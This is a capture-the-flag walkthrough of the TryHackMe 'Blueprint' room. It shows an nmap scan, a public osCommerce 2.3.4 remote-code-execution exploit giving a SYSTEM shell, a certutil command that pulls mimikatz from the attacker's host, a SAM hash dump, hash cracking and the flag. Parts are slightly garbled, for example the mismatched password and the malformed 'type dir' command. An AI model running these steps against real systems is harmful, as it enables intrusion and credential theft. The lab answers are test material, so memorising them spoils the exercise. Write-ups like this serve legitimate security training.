

## **Blueprint**



## **General-Information**

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    Root.txt flag
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  - Lab : NTLM-Hash: googleplus
- Room: <a href="https://tryhackme.com/room/blueprint">https://tryhackme.com/room/blueprint</a>

## Scanning/Enumeration

▼ Looking at the nmap output from recon.sh the biggest thing that sticks out is port because that's not usually something you see being open and the server output is weird, to say the least.

```
VERSION
PORT
         STATE
                  SERVICE
80/tcp
         open
                               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
 http-methods:
   Potentially risky methods: TRACE
 _http-server-header: Microsoft-IIS/7.5
_http-title: 404 - File or directory not found.
135/tcp open msrpc
                           Microsoft Windows RPC
139/tcp open
                  netbios-ssn Microsoft Windows netbios-ssn
443/tcp open
                              Apache httpd 2.4.23 (OpenSSL/1.0.2h PHP/5.6.28)
                  ssl/http
 http-methods:
   Potentially risky methods: TRACE
 http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.28
 http-title: Bad request!
 ssl-cert: Subject: commonName=localhost
 Not valid before: 2009-11-10T23:48:47
 Not valid after: 2019-11-08T23:48:47
 _ssl-date: TLS randomness does not represent time
 tls-alpn:
  http/1.1
445/tcp open
                  microsoft-ds Windows 7 Home Basic 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open
                  mysql
                              MariaDB (unauthorized)
8080/tcp open
                               Apache httpd 2.4.23 (OpenSSL/1.0.2h PHP/5.6.28)
                  http
 http-methods:
   Potentially risky methods: TRACE
 _http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.28
_http-title: Index of /
8180/tcp filtered unknown
                               Microsoft Windows RPC
49152/tcp open
                msrpc
49153/tcp open
                  msrpc
                               Microsoft Windows RPC
49154/tcp open
                               Microsoft Windows RPC
                 msrpc
49158/tcp open
                              Microsoft Windows RPC
                  msrpc
49159/tcp open
                               Microsoft Windows RPC
                  msrpc
49160/tcp open
                               Microsoft Windows RPC
                  msrpc
Service Info: Hosts: www.example.com, BLUEPRINT, localhost; OS: Windows; CPE: cpe:/o:microsoft:windows
```

▼ Going to visit this website I see mention of something called oscommerece-2.3.4, which after further recon I discovered is a CMS, so naturally, I passed it to searchsploit. There are two RCE's out there for this version, but I'll be using the second one, 50128.py



Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.28 Server at 10.10.86.57 Port 8080

## **RCE**

▼ Using the 50128.py with the command below it shows that you are logged into the system as NT Authority at the begging which is awesome, no need to privilege escalate!

```
kali@kali:~/THM/Blueprint$ python3 50128.py http://10.10.86.57:8080/oscommerce-2.3.4/catalog
[*] Install directory still available, the host likely vulnerable to the exploit.
[*] Testing injecting system command to test vulnerability
User: nt authority\system
RCE_SHELL$ _
```

- ▼ That is cool, but there isn't much that can be done on the system just yet, so to get the NTLM hash for the user Lab we need to use Mimikatz. I went to the location of mimikatz.exe and started a simple python web server then put Mimikatz on the Windows machine.
  - certutil.exe -urlcache -f http://10.2.51.66:8000/mimkatz.exe mimikatz.exe

```
kali@kali:/usr/share/windows-resources/mimikatz/Win32$ ls
mimidrv.sys mimikatz.exe mimilib.dll mimilove.exe mimispool.dll
kali@kali:/usr/share/windows-resources/mimikatz/Win32$ server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.86.57 - - [03/Oct/2021 16:38:45] "GET /mimikatz.exe HTTP/1.1" 200 -
10.10.86.57 - - [03/Oct/2021 16:38:51] "GET /mimikatz.exe HTTP/1.1" 200 -
```

```
RCE_SHELL$ certutil.exe -urlcache -f http://10.2.51.66:8000/mimikatz.exe mimikatz.exe
**** Online ****
CertUtil: -URLCache command completed successfully.
RCE SHELL$ dir
 Volume in drive C has no label.
 Volume Serial Number is 14AF-C52C
 Directory of C:\xampp\htdocs\oscommerce-2.3.4\catalog\install\includes
10/03/2021 09:35 PM
10/03/2021 09:35 PM
                         <DIR>
                         <DIR> .. 447 application.php
04/11/2019 10:52 PM 447 application.ph
10/03/2021 09:38 PM 1,118 configure.php
04/11/2019 10:52 PM <DIR> functions
10/03/2021 09:38 PM 1,088,416 mimikatz.exe
10/03/2021 09:13 PM
                                       0 TempWmicBatchFile.bat
                4 File(s) 1,089,981 bytes
                3 Dir(s) 19,505,844,224 bytes free
RCE_SHELL$
```



▼ Using Mimikatz I dump the NTLM hash for the users on this machine with the command below

• .\mimikatz "lsadump::sam" exit

```
RCE_SHELL$ .\mimikatz "lsadump::sam" exit
  .#####. mimikatz 2.2.0 (x86) #19041 Aug 10 2021 17:20:39
 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 > https://blog.gentilkiwi.com/mimikatz
 '## v ##'
               Vincent LE TOUX
                                          ( vincent.letoux@gmail.com )
  '#####
               > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # lsadump::sam
Domain : BLUEPRINT
SysKey: 147a48de4a9815d2aa479598592b086f
Local SID: S-1-5-21-3130159037-241736515-3168549210
SAMKey: 3700ddba8f7165462130a4441ef47500
RID : 000001f4 (500)
User : Administrator
 Hash NTLM: 549a1bcb88e35dc18c7a0b0168631411
RID : 000001f5 (501)
User : Guest
RID : 000003e8 (1000)
User : Lab
 Hash NTLM: 30e87bf999828446a1c1209ddde4c450
mimikatz(commandline) # exit
Bye!
RCE_SHELL$
```

▼ Then using good ol <a href="CrackStation">CrackStation</a> the NTLM hash for the user <a href="Lab">Lab</a> is revealed



Hash Type Res

30e87bf999828446a1c1209ddde4c450

NTLM

onluc



- ▼ Now to get the root flag I just had to go into the Admin's Desktop directory to retrieve it and finish this box off.
  - type dir c:\users\Administrator\Desktop\root.txt.txt

```
RCE_SHELL$ dir c:\users\Administrator\Desktop
Volume in drive C has no label.
Volume Serial Number is 14AF-C52C
 Directory of c:\users\Administrator\Desktop
11/27/2019 07:15 PM
                        <DIR>
11/27/2019 07:15 PM
                        <DIR>
11/27/2019 07:15 PM
                                    37 root.txt.txt
               1 File(s)
                                    37 bytes
               2 Dir(s) 19,504,750,592 bytes free
RCE_SHELL$ type dir c:\users\Administrator\Desktop\root.txt.txt
THM{aea1e3ce6fe7f89e10cea833ae009bee}
RCE_SHELL$
```